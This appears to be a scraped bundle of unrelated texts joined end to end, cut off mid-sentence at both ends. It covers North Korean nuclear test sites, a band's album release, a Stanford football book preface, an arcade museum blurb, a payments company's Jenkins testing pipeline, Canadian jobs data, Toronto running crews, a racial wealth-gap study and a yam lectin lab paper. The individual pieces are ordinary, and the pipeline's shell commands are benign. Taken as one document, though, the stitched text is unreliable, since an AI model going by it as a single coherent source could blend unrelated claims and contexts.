followed North Korea’s latest test. “Despite the numerous post-test earthquakes, the Nevada Test Site was not abandoned for nuclear test purposes,” Pabian and Liu explain, noting that North Korea is unlikely to abandon its Punggye-ri nuclear test site. While there is some evidence that the North Portal may have sustained damage during the most recent nuclear test, there are still two unused tunnel complexes. 38 North researchers actually detected new activity outside the South and West tunnel in the aftermath of the North’s sixth nuclear test. “For the time being, however, given the presence of additional test portals, we see no reason that the Punggye-ri Nuclear Test Site as a whole has or will be abandoned for future underground nuclear testing,” Pabian and Liu conclude in their report. At the same time, North Korea has hinted that it is interested in conducting an atmospheric nuclear test over the Pacific Ocean, but it does not mean the North does not intend to carry out additional underground testing at the Punggye-ri test site. Pabian and Liu argue that North Korea has not yet nuked itself out of a nuclear test site, as some outlets claimed. Follow Ryan on Twitter Send tips to ryan@ dailycallernewsfoundation.org. Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org. -Mindless Self Indulgence fans rejoice. PINK, the long-rumored, elusive “lost” album from your favorite electro-punk anarchists will finally see the light of day on September 18th through Metropolis Records. Serving as a “prequel” to all you know about the band, this retro 1990’s album fills in the blanks of MSI’s mysterious early days. PINK contains nineteen tracks which includes fifteen never-before-heard MSI songs plus four tracks off the self-titled EP. The album also features wild versions of Depeche Mode’s “Personal Jesus” and Duran Duran’s “Girls On Film”, a hidden song, plus an audio diary from 22 year-old Jimmy Urine, a picture anatomy of what you need to make an MSI song, retro 90’s album art, and finally – after 20 years – the reveal of the origin of the name of the band. “Before there was Rebel… before there was Frankenstein Girls… before there was Tight… there was Pink! The MSI prequel to it all,” said the band’s supreme leader Jimmy Urine. “This album was written by twenty-something Little Jimmy Urine and produced by forty-something Little Jimmy Urine, and its the lost puzzle piece in the formation of the unique MSI sound that would eventually piss off millions of people. The songs on this record are not in chronological order because I don’t know what the word ‘chronological’ means so I just put them in order of ‘what Jimmy likes the fucking best’! And now the lost record you begged for is the reality you will regret…” PINK can be pre-ordered NOW in all formats including a limited edition, 500-piece run of pink vinyl. About MSI Mindless Self Indulgence formed in New York City in 1997 and quickly made their mark with an inflammatory, indefinable hybrid sound that portended a lot of rock music to come. MSI has released five studio albums to date, cracked the Top 5 on Billboard’s Dance chart seven times (with four #1’s!) performed with the likes of Rammstein, Linkin Park, System of a Down, My Chemical Romance and The Dresden Dolls, and maintains one of the most devout and intense global fan bases in music through constant international touring and energetic live performances. MSI returned to the spotlight in 2013 with their first album in five years, the epic How I Learned To Stop Giving A Shit And Love Mindless Self Indulgence, and last year released the remix collection Fuck Machine. Please follow and like us: -The Daily is proud to announce its upcoming book, “Rags to Roses: The Rise of Stanford Football,” by Joseph Beyda, George Chen and Sam Fisher. The book will be sold electronically starting on July 15, and we will publish several excerpts in the coming weeks, beginning with today’s installment, the book’s preface. Visit www.stanforddaily.com/ragstoroses to sign up for updates on ordering information and future excerpts. Those using the mobile version of the site can scroll down to the bottom of the preface to sign up. The Beyda family’s remote control was very busy that night. Versus, ESPN, Fox Sports Net, local news, rinse, repeat. Stanford had just upset No. 1 USC, and there was no way we could get enough of it. Not after five years of suffering through Buddy Ball and quick kicks, five years spent with neither the Axe nor travel plans for bowl season. Not after 1-11. Hour after hour, station after station, we watched the next round of highlights. And each time, when Mark Bradford jumped up and caught Tavita Pritchard’s lob to put the Cardinal ahead 24-23, one thing became a little clearer: We would never, ever forget October 6, 2007. Five and a half years later, Pritchard draws the play up for me on a whiteboard in the quarterbacks meeting area in the Arrillaga Family Sports Center. On the other side of the building, the Axe rests safely in its true home for a third straight offseason. Down the hall sits a 2013 Rose Bowl trophy that not even the most biased Stanford fan — and I rank up there — could have imagined before 2007. Outside stands the skeleton of a new, 28,350-square-foot addition that will serve as the new home of the burgeoning football offices. But it all began here, one Sunday half a decade ago, when a fearless young quarterback rushed to this very same room to watch film on the Trojans. Pritchard had six days to prepare for his first career start, on the road, for a 41-point underdog facing the best defense in the country. Boy, the world wasn’t ready. We found that out early on, when Versus announcer Ron Thulin screamed, “Touchdown USC!” on Bradford’s game-winning catch. In the five years that followed, every ounce of progress by the Stanford football program was met with a half-ton of skepticism. The Cardinal couldn’t retain its physical identity in 2010 after the loss of its workhorse, Heisman Trophy runner-up Toby Gerhart. It couldn’t find the character for another BCS push in 2011 after its fiery leader, head coach Jim Harbaugh, was replaced by the calm David Shaw. It couldn’t compete for the 2012 Pac-12 title after the graduation of the best player in school history, Andrew Luck. But Stanford did all of those things, culminating in the Rose Bowl win this past January that Cardinal fans had been waiting for since 1972. And this offseason, the rhetoric has changed dramatically. Despite the loss of Stepfan Taylor, the top rusher in Stanford history, the 2013 Cardinal has been dubbed a preseason top-five team by ESPN, Sports Illustrated and CBSSports, is seen by many as a favorite to defend its conference title and is projected to be in the running for (dare I say it?) a national title this fall. Anything less than a fourth straight BCS bowl appearance would be a clear step back. Those expectations are the result of one of the most remarkable transformations in college football history — at one of the most remarkable times in college football history. In the era of the spread, a finesse offense reinvented itself as a physically imposing, run-first attack that used more tight ends and fullbacks on a single drive than most of its opponents had on their rosters; in the era of short college careers followed by lucrative professional ones, a once-in-a-generation quarterback stayed the course for a third shot at a conference title; in the era of recruiting violations at USC, improper benefits at Ohio State, a lack of institutional control at Miami and altered grades at Auburn, a team at an elite university that had never gone to four consecutive bowls or won 11 games (and was on the heels of the worst season in school history) decided to become one of the most confident — and most successful — programs in the country. It’s a story that we at The Stanford Daily believe is unique in the world of sports, which is why George Chen, Sam Fisher and I embarked on this project, “Rags to Roses: The Rise of Stanford Football,” this offseason. We have talked to more than 20 current and former players and coaches, spanning four coaching staffs, eight graduating classes and every position group on the field. In part, this book is about the men who dominated the quarterbacks room in the years since Pritchard’s first film session as a starter: Harbaugh, Luck and Shaw. But it’s also about Shannon Turley, the man who dominated the weight room one floor below. It’s about Gerhart and Taylor, the mild-mannered running backs who rushed for a combined 7,822 yards at Stanford, but it’s also about Alex Fletcher, Chris Marinelli and James McGillicuddy, the cocky, trash-talking linemen who stood up to an out-of-touch coaching staff and became the heart and soul of a beaten-down team. It’s about Owen Marecic, the player who could seemingly do anything, but it’s also about Jordan Williamson, the player whose one task eluded him in the biggest of moments — and then served as his redemption a year later in a game that meant even more. Each carries his own tale, and they have told them well; our interview total is rapidly approaching 24 hours as we enter our last round of phone calls and post-workout sit-downs. But what has surprised us most of all is just how eager the former members of the program are to explain Stanford’s ascendance. There is no doubting their pride. “You always felt like it was the right thing,” Harbaugh told us. “You can be great at football and be a top-notch student. You can achieve in the classroom and achieve on the field. And that model could be successful, when many said it couldn’t.” For George, Sam and me, “Rags to Roses” has become the 10-unit class we never planned to take. For you, we hope it serves not only as a celebration of Stanford football’s recent accomplishments, but as the story of the men who brought this program back to life — and then took it to new heights. Contact Joseph, George and Sam at ragstoroses@stanforddaily.com. Learn more about the authors. -As kids, who among us never dreamed of growing up to be a sailor? After we go to space, naturally. This arcade game was created for those who never forgot their childhood dreams. And so, you are now looking through the periscope of a submarine and the enemy ships are sailing audaciously across the horizon, back and forth. Press “Start” and the green point representing a moving torpedo rushes towards the enemy vessel. The rest depends on the accuracy of the player-sniper. Moscow Kuznecky most, 12 Real gamers are welcome to play every day: Monday through Sunday from 11 till 9 p.m. Saint-Petersburg Konyushennaya sq., 2b Real gamers are welcome to play every day: Monday through Sunday from 11 till 8 p.m. By the way We are three years old! Come visit us and throw a coin for luck (into the machine)! -How Balanced Automates Testing and Continuously Deploys As a payments company, we have very little room for error. Our customers count on us to be up and running constantly, since if we’re not up, they can’t do business. They also count on us to be innovative, to release new features that make their lives easier. These goals sometimes come into conflict with each other, since any time we have a new feature to release, or another deploy to make, there’s an inherent risk of breakage. To mitigate that risk, we’ve devised a few ways to minimize our chances of introducing bugs or regressions. Tests. Lots of tests. From the very beginning, Balanced has had extensive unit tests. We follow the Model-View-Controller pattern, and each of these sets of components has its own set of unit tests. When taken all together, these tests provide a good baseline level of confidence that our application works the way we think it should. However… Unit tests are not enough! Balanced (the company) runs a number of separate services internally – mostly written in Python, of which Balanced (the service) is just one. This service has to interact with our fraud services, our vaulting services, our dashboard service, and so on, and all these interactions need to be tested. Unit tests alone are not sufficient to verify all these interactions. For example, our fraud system may include a field called csc_check in its responses, containing information about whether the card security code provided on a transaction was a match. Balanced may have examples of this response in its unit tests, making sure that it can handle all the values it may receive, and life is good. Suppose we decide that a better name for this field is security_code_check . Since the CSC check can go by many names this should be fine, right? So we update our fraud system with the new name everywhere, its unit tests all pass, and we deploy it. However, since we forgot to update the Balanced service, it has no idea that this field has a new name. Consequently, Balanced (the service) doesn’t know how to get the information it needs and we start returning internal server errors to all of our clients (and filling our own emails with system warnings). Our unit tests were not sufficient to tell us that this small change to our fraud system was potentially a breaking change to our system as a whole. Even if services are well-tested in isolation, this does not address the interactions between them. These service-level interactions need coverage. This was the problem that we set out to solve. The process We use Jenkins for automating our testing and deployment. We have a number of jobs configured, each one performing a specific function. Jenkins listens for commits to the release branch of our various services. When a commit is pushed, it begins the testing and deployment process, and runs through a number of jobs. This diagram represents the various stages of testing that our Balanced service must go through in order to be deployed to our production environment. Our other services follow similar paths. Unit tests The first step any deploy must go through is running the unit tests that belong to that service. The engineer committing the changes to be deployed theoretically should have ensured that these tests pass before committing, since no one likes the guy (or gal) who commits broken code, but sometimes people are forgetful, and sometimes what works on one engineer’s machine doesn’t work on another’s. A common mistake is to install some new library manually, but forget to update the requirements file – unit tests would pass on the committer’s machine, but fail when run elsewhere. Running unit tests in a fresh environment catches this type of problem. After setting up our environment, we run our tests in a manner similar to this: # Unit tests nosetests -sv --with-id --with-xunit --with-xcoverage \ --cover-package=balanced_service --cover-erase # Pylint python -c "import sys, pylint.lint; pylint.lint.Run(sys.argv[1:])" \ --output-format=parseable --include-ids=y --reports=n \ balanced_service/ | tee pylint.out # Pep8 find balanced_service -name \*.py | xargs pep8 | tee pep8.out We use Nose as our test runner and we leverage a number of plugins to help streamline the testing process. We wrote a small plugin, nose-setenv, to help us configure our tests for the environments we run them in and we leverage the Xunit plugin to produce an XML output file containing the results of the unit tests, which Jenkins uses to create graphs like this: As you can see, our tests are mostly stable, with an occasional failure that necessitates a quick fix. Build #806 shows what happens when requirements aren’t updated properly – every single test fails due to a bad import statement, and the engineer who forgot to update the requirements file sheepishly commits a one-line fix. We also run Pep8 and Pylint over our code, to track violations of style and good Python practices. Jenkins’ Violations plugin can fail the build if code quality falls below a certain threshhold, but we use this for informational purposes only. We run our unit tests using nosexcover, which gives us an XML coverage report file. This is used by the Cobertura Jenkins plugin to generate coverage graphs like this: The coverage output is also passed to the next step… Coverage enforcement As code in a project is added or changed, the tendency can sometimes be for the number and quality of tests to fall behind. An engineer adding a simple new feature or fixing a bug may reason that the workings are so clear, or the change so minor, that testing is superfluous and skip adding a test. Over time this can lead to a lack of coverage by unit tests, so they don’t provide as much confidence as they once did. This step measures the coverage of the unit tests performed in the previous step, and aborts the build if coverage drops below a minimum threshold. For instance, for the Balanced service, we require that all models and controllers have at least 95% test coverage, which means that unit tests must exercise at least 95% of the code for the build to continue. Every engineer here has felt the pain of committing code and receiving an email stating that the coverage level has dropped to 94.47%, and then having to hunker down and write more tests, but this ensures that unit test coverage remains comprehensive. (Jenkins’ Cobertura plugin also enforces coverage levels, but at a granularity that wasn’t sufficient for us.) Staging deploy After the self-contained unit tests have passed and been found to provide sufficient test coverage, we deploy the service to our internal staging environment. This is a test in and of itself – if after the deploy the service fails to start up properly, it may indicate that a server setting has been misconfigured, and this code isn’t ready for the production environment. Here is also where we test any database migrations on a duplicate of our production database – for instance, if a constraint is added such that a previously NULLable column is now NOT NULL, but old rows haven’t been backfilled appropriately, the migration fails and the build is aborted. Since this is tested on a copy of the actual production database, we can be reasonably sure that a migration won’t miss any tricky edge cases. Once the staging deploy job has completed, we use Jenkins’ Join plugin to run the next series of jobs simultaneously, and only proceed further if they all succeed. Acceptance/suite tests Once the code is running in our staging environment, we can run a battery of tests against it to test the integration with other services. Each of our various clients comes with a suite of tests (e.g., our balanced-python and balanced-java suites), which are all run against the staging server to ensure that the server behaves in a way that the client is expecting. Most of these tests depend on the correct interaction of Balanced with our other services, but we take it a step farther with our acceptance suite, which consists of two more jobs. acceptance server runs a suite of tests designed to go all the way through our stack, onto our banking partners’ test environments. For instance, we can pass test card data on to our acquiring bank and verify that they receive well-formed requests from us, as well as verifying that we can properly handle their responses. acceptance runs many of the same tests as acceptance server , but uses the Werkzeug test client and patches Python’s requests library to allow us to run all our servers in the same in-memory context. This allows us to set arbitrary breakpoints and to patch/mock different objects at various points throughout the request lifecycle, all the way down through our stack, to assert that what is actually happening matches our understanding. Running all servers in-memory also makes it trivially easy to use nosexcover and the Cobertura plugin again, this time to measure coverage of our test suite throughout the entire stack. If the Balanced service is well-tested by the acceptance suite, but the fraud system isn’t being exercised enough, it’s easy to see this here. Production deploy Once all these tests have passed, we’re confident that the new code hasn’t introduced any regressions and is ready to be deployed. To reduce the chance of operator error, our testing server performs deploys for us as well. We use Fabric and run a deploy task that pulls the code from our GitHub repo, removes an instance of the app from our load balancer (HAProxy), loads the new code, and puts the app back into HAProxy, for each machine running our code. Confidence in quality From start to finish, a deploy of Balanced takes about 10 minutes. During that time, we run over 950 unit tests, and another 200-300 integration and acceptance tests. We often deploy upwards of ten times a day, over multiple services. Deploys do occasionally become blocked due to a failing test. Every time this happens, we calmly fix the cause of the failure and start the process again – there’s no rushing to fix a bug that’s suddenly made it out into the wild, because it never got a chance to make it out of our staging environment. This freedom to iterate quickly without fear of breaking things is a huge win for us. This testing architecture is the result of a concerted effort we made to ensure that we have a consistently high level of quality, and it pays enormous dividends. It has made deploys much more risk-free, and greatly increased our ability to move quickly and introduce new features while minimizing the introduction of new bugs. Final Thoughts Balanced still has a long way to go. This solution works for now, but we’re always looking for ways to improve. We have to deal with a level of quality that catches problems early to let us move fast and break things, just not in a catastrophic way. If these kinds of problems interest you and you’re looking for a real challenge, contact us! We’re always looking for sharp and talented individuals that can make an impact. NmQ2ZjYzMmU3Mzc0NmU2NTZkNzk2MTcwNjQ2NTYzNmU2MTZjNjE2MjQwNjU2MzZlNjU3MjY1NjY2NjY5NjQ2MTY1NmI2MTZkNmY3NDc0NmU2MTc3Njk= We’re discussing this post on HN -Andy Blatchford, The Canadian Press OTTAWA -- Canada served up two unsavoury batches of economic numbers Friday as the latest trade and jobs figures provided further evidence of the country's struggles. On employment, Statistics Canada's labour force survey said the market lost 31,200 net jobs in July, an unexpectedly steep decline that included the biggest one-month drop in full-time work in nearly five years. On trade, the fresh figures showed Canada's deficit with the world -- the balance between imports and exports -- ballooned to a record level of $3.6 billion in June. "The overall story here is the Canadian economy is barely growing," BMO chief economist Doug Porter said Friday. "And the drag on the economy is in the export sector, the one area of the economy where I think there were very high hopes. We're basically still incredibly dependent on consumer spending and housing to keep pulling the economy along." Combined, Porter said the disappointing jobs and trade numbers increase the likelihood that the Bank of Canada will decrease its already-low benchmark interest rate before the end of the year to help boost the economy. After Friday's releases, Porter said he thinks the chances of a rate cut before January are 25 per cent, up from 10 per cent. Looking at the labour data, Statistics Canada's survey found the national unemployment rate for July crept up to 6.9 per cent from 6.8 per cent the previous month. The country shed 71,400 net full-time jobs in July -- a number partly offset by an increase of 40,200 in less desirable, part-time positions. Statistics Canada said full-time work hadn't suffered a one-month blow that big since it lost 80,300 positions in October 2011. Public sector work plummeted by 42,000 positions, compared to the labour force's addition of 13,600 private sector jobs. The survey also found that paid employee positions fell by 28,400 last month, while self-employed work -- often considered more precarious -- declined by 2,700. But Porter said the performance of the overall labour force may not have been quite as negative as the headline number suggests. Pointing to the July drop of 24,200 public administration jobs, he said the decline could have been directly tied to the roughly 25,000 temporary positions created in April and May for the census. Porter also underlined another possible "quirk" in the employment data. He noted that Ontario showed a drop last month of 37,800 positions in educational services, which could be due to a seasonal adjustment involving teachers that he has seen reflected in the data in the past. He expects those numbers to recover over the coming months. With the July decline in educational services jobs, Ontario suffered the biggest loss of any province. Its labour market lost 36,100 net positions, 18,900 of which were full time. In Alberta, where the economy has been hit hard by low oil prices and May wildfires that temporarily shuttered some crude production, the unemployment rate rose 0.7 percentage points to 8.6 per cent. The rate reached its highest mark since September 1994. Overall, the Canadian labour market had 0.4 per cent more jobs than 12 months earlier. During that same period, however, full-time work dropped 0.2 per cent while part-time jobs climbed 3.1 per cent. "Looking at it from a very big picture, the reality is that we've had very modest job growth over the last 12 months," said Porter, who thought the trade numbers were even more "disturbing." Statistics Canada said exports fell 4.7 per cent in the second quarter to $124 billion, the steepest slide since the second quarter of 2009 during the Great Recession. "The extent of the drop -- that's a bit surprising," said Krishen Rangasamy, a National Bank senior economist. As a result, Canada's quarterly trade deficit expanded to a record $10.7 billion in the second quarter, up from $6.4 billion in the first quarter. "Basically, what that means is that trade is going to subtract from growth in the second quarter and is basically reinforcing our view that Canadian GDP actually contracted about 1.5 per cent annualized in the second quarter," he said. Rangasamy, however, is predicting a "strong rebound" in exports in the second half of 2016, thanks to the strengthening United States economy and the still-weak Canadian dollar. A quick look at July unemployment (previous month in brackets): Unemployment rate: 6.9 per cent (6.8) Employment rate: 60.9 per cent (61.0) Labour force participation rate: 65.4 per cent (65.5) Number unemployed: 1,344,800 (1,326,300) Number working: 18,023,300 (18,054,500) Youth (15-24 years) unemployment rate: 13.3 per cent (13.0) Men (25 plus) unemployment rate: 6.3 per cent (6.3) Women (25 plus) unemployment rate: 5.4 per cent (5.3) Here are the jobless rates last month by province (previous month in brackets): Newfoundland and Labrador 12.8 per cent (12.0) Prince Edward Island 9.6 (11.0) Nova Scotia 8.4 (8.2) New Brunswick 9.7 (10.3) Quebec 7.0 (7.0) Ontario 6.4 (6.4) Manitoba 6.2 (6.1) Saskatchewan 6.3 (6.1) Alberta 8.6 (7.9) British Columbia 5.6 (5.9) Statistics Canada also released seasonally adjusted, three-month moving average unemployment rates for major cities but cautions the figures may fluctuate widely because they are based on small statistical samples. (Previous month in brackets.) -At first, it was tough to convince others that running and drinking beer — almost simultaneously — isn’t a bizarre thing to do. But once Tej Sandhu and Dan Grant found their voice on social media, membership in their “running crew” took off, they say, swelling in the last six months from 10 runners to 900. Tej Sandhu, an advertising executive, sits in Tequila Bookworm at Portland St. and Queen St. W. He and Dan Grant, a beer writer, founded Run T.O. Beer, which organizes runs to, you guessed it, beer. ( Chris So / Toronto Star ) The Night Terrors, seen here on an early October outing, are just one of many, many running crews across the city. ( Andrew Francis Wallace / Toronto Star ) Even the beer companies have come onside — sponsoring free pints at the end of each jaunt. “It’s been crazy,” says Sandhu, co-founder of the aptly named Run T.O. Beer, which meets about twice monthly. “It got so popular.” Just like the activity as a whole. Article Continued Below Society is in the throes of a running boom, experts say. And, running “crews” in particular are on the rise (FYI, you 40-somethings: “group” and “club” are not cool words anymore). Seems millennials (this includes people in their mid 20s to mid 30s), particularly those who live downtown in big cities, are taking to running like rappers to Nikes and hipsters to tight jeans. Joining “crews,” is how this younger set — who consider Trinity Bellwoods Park their backyard and prefer public to private space — have decided to take up the sport. A desired result is to get fit and healthier, of course, but they’re not just running to lose weight, says Alan Brookes, race director for the Canada Running Series, which includes the Scotiabank Toronto Waterfront Marathon on Oct. 18. They’re running for all kinds of reasons: to escape a tiny, urban condo, connect with people and make new friends, explore the city, discover their own neighbourhoods and even make them better. “They seem committed with their values to a friendlier, more caring city,” Brookes says. “It’s about a search for community and building community and having a say in the kind of community you want.” It’s also about self improvement. Steven Artemiw, 34, co-founder of the Parkdale Roadrunners, one of the largest crews in the city, commanding up to 150 runners on their weekly Tuesday night jaunts, says he started running when he gave up drugs. Article Continued Below As a 26-year-old nightclub promoter, he made bad choices, he says, until one day he laced up his runners and felt better, noticing changes in his mood, sleep, physique and confidence. But he couldn’t keep it up all alone, he says. Hence, the need for a crew — supportive, like-minded people who have grown into a de-facto family. One that runs together, but also goes for brunch afterwards at a trendy restaurant and then does yoga at a stylish gym. Or visits a gallery before heading home to shower. That’s why Artemiw won’t run in a pair of ratty pants with a hole in the crotch, he says. And why at each Parkdale Roadrunners run there’s always someone who sticks at the “back of pack” — because running, and joining a crew, he says, doesn’t have to be about qualifying for Boston (the city’s annual marathon is considered that golden ring). “It’s about inclusion,” Artemiw says. “It’s about just discovering better versions of yourself every day. That’s what it’s built upon.” The Night Terrors, seen here on an early October outing, are just one of many, many running crews across the city. ( Andrew Francis Wallace ) That attitude is fast trickling down to all kinds of people who may not have taken up running a few years ago, says William Chaupiz, 42, Toronto crew captain of Night Terrors, another enormous — and entirely non-threatening — running crew that runs primarily in the city’s west end, mostly in the evenings. Once upon a time, he says, running was about being fast, finishing a race and being competitive. You’d run alone, Chaupiz says, if you felt slow and self-conscious about “holding up the group.” More and more, urban running is now about embracing an active lifestyle in and of itself. If you want to be competitive, there are crews for that. But running is now something everyone of any and all speeds, can have in common, Sandhu says. And, it’s probably one of the most accessible sports around — all you need is “a pair of shoes, shorts and a T-shirt.” The T.O. crews Running crews are usually tied to neighbourhoods — and even though they’ll arrange runs to different pubs or clubs or restaurants all over the city, participants stay close to their hoods. Find them on social media. Join anytime. Most are free; some have a nominal fee. Parkdale Roadrunners: In the summer of 2010 a bunch of ballsy “non-runner” friends maDe a bet about who could sprint a 10K the fastest. By the time their race day came a few months later, almost everyone was injured — except for two people. They started running together, wearing T-shirts that read “I’d rather be smoking.” That got a lot of people asking, “When do you meet?” Today, more than 150 people join in their weekly runs. Members of the running group Night Terrors take to Toronto's streets on an early October night. ( Andrew Francis Wallace ) Night Terrors Run Club (NRTC): When a MuchMusic employee couldn’t find a gym open late enough to burn off her post-shift energy one night, she decided to run through the city streets with a bunch of friends. Those shenanigans turned into a crew that runs to “cool places” such as festivals, murals, historical buildings, nature trails and “food spots you wouldn’t normally visit.” Tej Sandhu, left, and Dan Grant run to beer during an outing to Queen St. W.'s Tequila Bookworm. ( Chris So ) Run T.O Beer: It all started with a tweet. Beer writer Dan Grant was looking for a buddy, someone to join him on a run — and then a trip to the bar. Tej Sandhu replied, the two met for a jaunt and pint on a miserable March night in 2014 — and the rest is history. Runs are short — either three, five or 10 kilometres with shorter distance runners joining in along the route — and always rewarded with brew. Since beer companies have been quick to join this party, every run ends with a free drink. Nike + Run Club: Sometimes, 200 eager runners turn out. Head coach Rejean Chiasson, 32, says that in the last couple of years there’s been a surge of runners from all kinds of different backgrounds and skill levels. The more serious — those with defined goals — can join Chiasson’s other crew, Pace & Mind, where participants can pay $100 to $120 a month for customized programs. BlackToe Running Inc.: This trendy Bathurst St. store has partnered with Dr. Jack Daniels (no, not that JD), a former Olympian and coach, who makes all its training programs. The cost is $25 a month and the crew goes on four evening runs a week and for a long run on Sunday mornings, says BlackToe owner Mike Anderson. After that, they usually take over a local restaurant for brunch. Correction – October 15, 2015: This article was edited from a previous version that mistakenly referred to William Chaupiz as the co-founder of Night Terrors. -The widening wealth gap in the United States is a worrisome sign that millions of families nationwide do not have enough in assets to offer better opportunities for future generations. Wealth allows families to make investments in homes, in education, and in business creation. On the basis of data collected using the National Asset Scorecard for Communities of Color (NASCC) survey, we report that, when analyzed by race, wealth accumulation is vastly unequal. By means of the NASCC survey, researchers have collected, for the first time, detailed data on assets and debts among subpopulations, according to race, ethnicity, and country of origin—granular detail ordinarily unavailable in public datasets. In this analysis we focus on estimates for U.S. born blacks, Caribbean blacks, Cape Verdeans, Puerto Ricans, and Dominicans in the Boston Metropolitan Statistical Area (MSA). Our analysis shows that with respect to types and size of assets and debt held, the data collected on white households and nonwhite households exhibit large differences. The result is that the net worth of whites as compared with nonwhites is staggeringly divergent. -A 70-kDa galactose-specific lectin was purified from the tubers of Dioscorea opposita cv. nagaimo. The purification involved three chromatographic steps: anion exchange chromatography on a Q-Sepharose column, FPLC-anion exchange chromatography on a Mono Q column, and FPLC-gel filtration on a Superdex 75 column. The purified nagaimo lectin presented as a single 35-kDa band in reducing SDS-PAGE while it exhibited a 70-kDa single band in non-reducing SDS-PAGE suggesting its dimeric nature. Nagaimo lectin displayed moderate thermostability, retaining full hemagglutinating activity after heating up to 62°C for 30 minutes. It also manifested stability over a wide pH range from pH 2 to 13. Nagaimo lectin was a galactose-specific lectin, as evidenced by binding with galactose and galactose-containing sugars such as lactose and raffinose. The minimum concentration of galactose, lactose and raffinose required to exert an inhibitory effect on hemagglutinating activity of nagaimo lectin was 20 mM, 5 mM and 40 mM, respectively. Nagaimo lectin inhibited the growth of some cancer cell lines including breast cancer MCF7 cells, hepatoma HepG2 cells and nasopharyngeal carcinoma CNE2 cells, with IC 50 values of 3.71 µM, 7.12 µM and 19.79 µM, respectively, after 24 hour treatment with nagaimo lectin. The induction of phosphatidylserine externalization and mitochondrial depolarization indicated that nagaimo lectin evoked apoptosis in MCF7 cells. However, the anti-proliferative activity of nagaimo lectin was not blocked by application of galactose, signifying that the activity was not related to the carbohydrate binding specificity of the lectin. Copyright: © 2013 Chan, Ng. This is an open-access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Nagaimo is a Japanese mountain yam, which is a cultivar of Dioscorea opposita. Unlike tubers from other yams, D. opposita tubers are generally non-toxic that can be eaten raw after neutralization of oxalate crystals on the tuber skins. D. opposita tubers are used in many Japanese cuisines. Some of the tubers were utilized in traditional Chinese medicine, revealing their therapeutic potentials [21] . Although hemagglutinating activity was found in some types of yam tubers, there were very few investigations on the yam lectins. Also, none of the studies involving D. opposita tubers focused on the lectin. In a preliminary experiment, we detected the presence of a lectin in nagaimo (D. opposita) tubers that have not been examined before. We have therefore isolated the lectin, and studied its properties as well as biological activities. The study may help to shed light on the role of lectin in yam used in traditional Chinese medicine. It may also provide insights for possible therapeutic uses of the isolated nagaimo lectin. Yam encompasses a number of species in the genus Dioscorea. Some examples of the major members are D. alata (purple yam), D. bulbifera (air potato), D. cayenensis (yellow yam), D. dumetorum, (bitter yam), D. rotundata (white yam), D. opposita (Chinese yam) and D. trifida (cush-cush yam). They are characterized by the possession of edible tubers that are rich in starch, some ions and vitamins. However, most of the yam tubers have to be cooked before consumption, in order to remove the toxic compounds present [19] , [20] . Lectins are a group of proteins or glycoproteins possessing carbohydrate binding capability. In the past, lectins are classified in accordance with their carbohydrate specificities: mannose binding [1] , mannose and glucose binding [2] , galactose binding [3] , etc. As more lectins with diverse sugar-binding specificities were identified, the old system was no longer feasible, and other classification systems were proposed. Animal lectins are classified into families of evolutionary related carbohydrate recognition domains (CRDs). Some major families include calnexins [4] , M-type, L-type, P-type, R-type, S-type [5] , I-type [6] and C-type [7] lectins. On the other hand, Van Damme et al. introduced another classification system of lectins, based on the structure of lectins, in which were classified into merolectins, hololectins, chimerolectins and superlectins [8] . They have also classified plant lectins into 12 groups according to their structural and evolutionary relationships, such as legume lectins, jacalins, amaranthins [9] , [10] . Both animal and plant lectins exhibit a variety of biological activities. Some of them exert immuno-modulatory activities [11] , [12] , while others elicit anti-tumor, anti-bacterial, anti-fungal, anti-viral and anti-insect effects [13] , [14] . The physiological functions and mechanisms of various animal lectins have been studied precisely [15] – [18] . However, those of plant lectins have not been clarified. There are still numerous plant lectins yet to be identified and studied. Plant storage organs are rich in proteins. They are one of the best targets for identification and isolation of new plant lectins with a large yield, allowing extensive characterization of the lectins, helping to reveal their biological potentials (e.g. anti-tumor activities). About 5×10 5 MCF7 cells were seeded on a 6-well plate overnight, and were treated with different concentrations of nagaimo lectin with or without the presence of 100 mM galactose for 24 hours. The cells were trypsinized, centrifuged down at 2000 g for 4 min, and then washed with PBS for three times. For Annexin V-FITC and PI staining, the cell pellets were resuspended in 250 µl binding buffer (0.01 M HEPES, pH 7.4, containing 140 mM NaCl and 25 mM CaCl 2 ) containing 2.5 µl Annexin V-FITC (BD Phamingen, CA, USA) and 0.5 µl PI (6 mg/ml) (Sigma). The cells were incubated at room temperature in the dark for 20 min. For JC-1 staining, the cell pellets were resuspended in 500 µl plain RPMI medium containing 2.5 µg/ml JC-1, and were incubated at 37°C in the dark for 15 min. The cells were analyzed using a BD LSRFortessa cell analyzer (BD Biosciences). The signal was detected by BD LSRFortessa Blue Laser (FITC: ex 494 nm/em 519 nm, PE-Texas Red: ex 488 nm/em 615 nm, PerCP-Cy5.5: ex 482 nm/em 695 nm). Data analysis was conducted by using the program Fortessa FASDiva Program Version 6.1.3. Compensation analysis was performed by using concanavalin A as positive control for treatment of MCF7 cells [28] , [29] . Suspensions of human breast cancer (MCF7), hepatoma (HepG2) and nasopharyngeal carcinoma (CNE2) cells from American Type Culture Collection were adjusted to 5×10 4 cells/ml in RPMI medium. In a 96-well plate, 100 µl cells were seeded and incubated overnight. Then, the cells were treated with different concentrations of nagaimo lectin for 24 hours. After incubation, the medium was discarded. The wells were washed with PBS, 25 µl of 3-(4, 5-dimethylthiazol-2-yl)-2, 5-diphenyltetrazolium bromide (MTT) (5 mg/ml in PBS) were then added and further incubated for 4 hours. Then 150 µl of dimethyl sulfoxide (DMSO) were added. The absorbance at 590 nm was measured using a microplate reader within 10 min. Percentage inhibition of the cells by nagaimo lectin was calculated by: [(OD 590 nm of the control – OD 590 nm of a culture exposed to a particular lectin concentration)/OD 590 nm of the control]×100% [27] . In the carbohydrate test, lyophilized nagaimo lectin was dissolved in different carbohydrate solutions, all at 500 mM concentration in PBS. Assay of hemagglutinating activity was performed as mentioned above, but the carbohydrate solutions were used for serial dilution of the hemagglutinin instead of PBS. After identifying the carbohydrate specific for the lectin, a test was conducted to determine the minimal concentration of the carbohydrate for reduction of hemagglutinating activity of the lectin. The powder of nagaimo lectin was dissolved in solutions containing the specific carbohydrate at different concentrations in PBS. Assay of hemagglutinating activity was performed using the carbohydrate solutions of their particular concentrations for serial two-fold dilution instead of PBS [26] . In the test for pH stability, the powder of nagaimo lectin was dissolved in solutions at different pH values: pH 0–1: HCl; pH 